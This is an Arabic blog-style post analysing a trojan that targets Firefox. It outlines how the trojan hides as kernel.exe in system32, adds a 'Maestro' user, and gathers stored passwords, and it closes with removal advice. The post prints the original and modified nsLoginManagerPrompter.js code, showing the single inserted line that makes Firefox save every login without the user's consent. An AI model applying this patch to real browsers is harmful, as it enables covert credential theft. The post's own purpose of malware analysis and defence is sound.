بسم الله الرحمن الرحيم
لفت إنتباهي مؤخرا التروجان الذي يستهدف الفايرفوكس لسرقة بيانات المستخدمين و سأقوم بتحليل طريقة عمله فى هذا الموضوع بإذن الله
التروجان كأي ملف حصان طروادة آخر يدخل على الجهاز بأي طريقة سواء كان عن طريق ملف مصاب أو رسالة إلكترونية أو غيرها من الطرق
- يقوم فى البداية بنسخ نفسه إلى المجلد system32 بالإسم kernel.exe كنوع من التخفي
يقوم التروجان بتهيئة نفسه عن طريق إضافة الأداة التي يستخدمها Microsoft Internet Transfer (msinet.ocx) – و هذا يثبت أن التروجان على الأغلب مكتوب بالفيجوال بيسيك 6
- يقوم التروجان بإضافة مستخدم جديد على النظام المصاب بإسم Maestro
- يقوم بعدها التروجان بجمع الباسووردات التي تم تخزينها بالفعل سواء كان فى الفايرفوكس أو الإنترنت إكسبلورر
- بعدها يقوم بخدعته و هو التعديل على الملف nsLoginManagerPrompter.js
وهو الملف المسئول عن تنبيهات إدارة عملية حفظ كلمات المرور , فى الحالة الطبيعية إذا أدخلت كلمة مرور فى الفايرفوكس سيقوم بتنبيهك إذا كنت تريد لفايرفوكس بحفظ و تذكر كلمة المرور أم لا
يقوم التروجان بتعديل هذا ليتم تخزين الباسوورد بدون سؤالك

يقوم بالذهاب تحديدا على السطر 835
var pwmgr = this._pwmgr;
وو ضع بعده
pwmgr.addLogin(aLogin);
و هكذا يتجاوز الحماية فلا يهم ماذا سيختار المستخدم سيقوم فايرفوكس بحفظ الباسوورد
فإذا نظرت إلى الكود قبل التعديل
The callbacks in |buttons| have a closure to access the variables
// in scope here; set one to |this._pwmgr| so we can get back to pwmgr
// without a getService() call.
var pwmgr = this._pwmgr;
var buttons = [
// "Remember" button
{
label: rememberButtonText,
accessKey: rememberButtonAccessKey,
popup: null,
callback: function(aNotificationBar, aButton) {
pwmgr.addLogin(aLogin);
}
},
// "Never for this site" button
{
label: neverButtonText,
accessKey: neverButtonAccessKey,
popup: null,
callback: function(aNotificationBar, aButton) {
pwmgr.setLoginSavingEnabled(aLogin.hostname, false);
}
},
// "Not now" button
{
label: notNowButtonText,
accessKey: notNowButtonAccessKey,
popup: null,
callback: function() { /* NOP */ }
}
];
this._showLoginNotification(aNotifyBox, “password-save”,
notificationText, buttons);ستجد أنه يقوم بعمل مصفوفة بالإختيارات buttons و يمرر ال callback لكل إختيار و نجد أن pwmgr.addLogin(aLogin); و المسئولة عن حفظ الباسوورد موجوده فى ال callback الخاص بالإختيار الأول فقط و هو الموافقة على حفظ الباسوورد
و لكن بعد التعديل يصبح الكود هكذا
The callbacks in |buttons| have a closure to access the variables
// in scope here; set one to |this._pwmgr| so we can get back to pwmgr
// without a getService() call.
var pwmgr = this._pwmgr;
pwmgr.addLogin(aLogin);
var buttons = [
// "Remember" button
{
label: rememberButtonText,
accessKey: rememberButtonAccessKey,
popup: null,
callback: function(aNotificationBar, aButton) {
pwmgr.addLogin(aLogin);
}
},
// "Never for this site" button
{
label: neverButtonText,
accessKey: neverButtonAccessKey,
popup: null,
callback: function(aNotificationBar, aButton) {
pwmgr.setLoginSavingEnabled(aLogin.hostname, false);
}
},
// "Not now" button
{
label: notNowButtonText,
accessKey: notNowButtonAccessKey,
popup: null,
callback: function() { /* NOP */ }
}
];
this._showLoginNotification(aNotifyBox, “password-save”,
notificationText, buttons);و عندها يقوم الفايرفوكس بإستدعاء pwmgr.addLogin(aLogin); فور الدخول للfunction أى قبل حتى أن تظر الرسالة الخاصة بتنبيه المستخدم لحفظ كلمة المرور و بهكذا لا يهم ماذا سيضغط المستخدم ففي كل الحالات سيتم تخزينها
و لكن لا أعلم هل حبا فى الشهره أم سذاجة من المبرمج لقد ترك أدلة على شخصيته الحقيقية بما فيها إيميله الشخصي مما أدى إلى الوصول إليه بسهوله عن طريق الفيس بوك أكاونت الخاص به و اتضح أنه من إيران

الفكرة عامة جيدة و هي إستغلال سهولة التعديل فى ملفات الفايرفوكس و تعديله بما يناسب إحتياجات المخترق بدون أن يجعل المستخدم يشعر بأي شئ
الحل المتاح حاليا : هي تثبيت نسخة جديدة من الفايرفوكس لتبديل النسخة المعدلة من nsLoginManagerPrompter.js بنسخة جديدة أو يمكنك تعديل الملف يدويا إذا كنت تعرف ماذا تفعل و طبعا إزالة التروجان من مكانه المفضل داخل ال system32
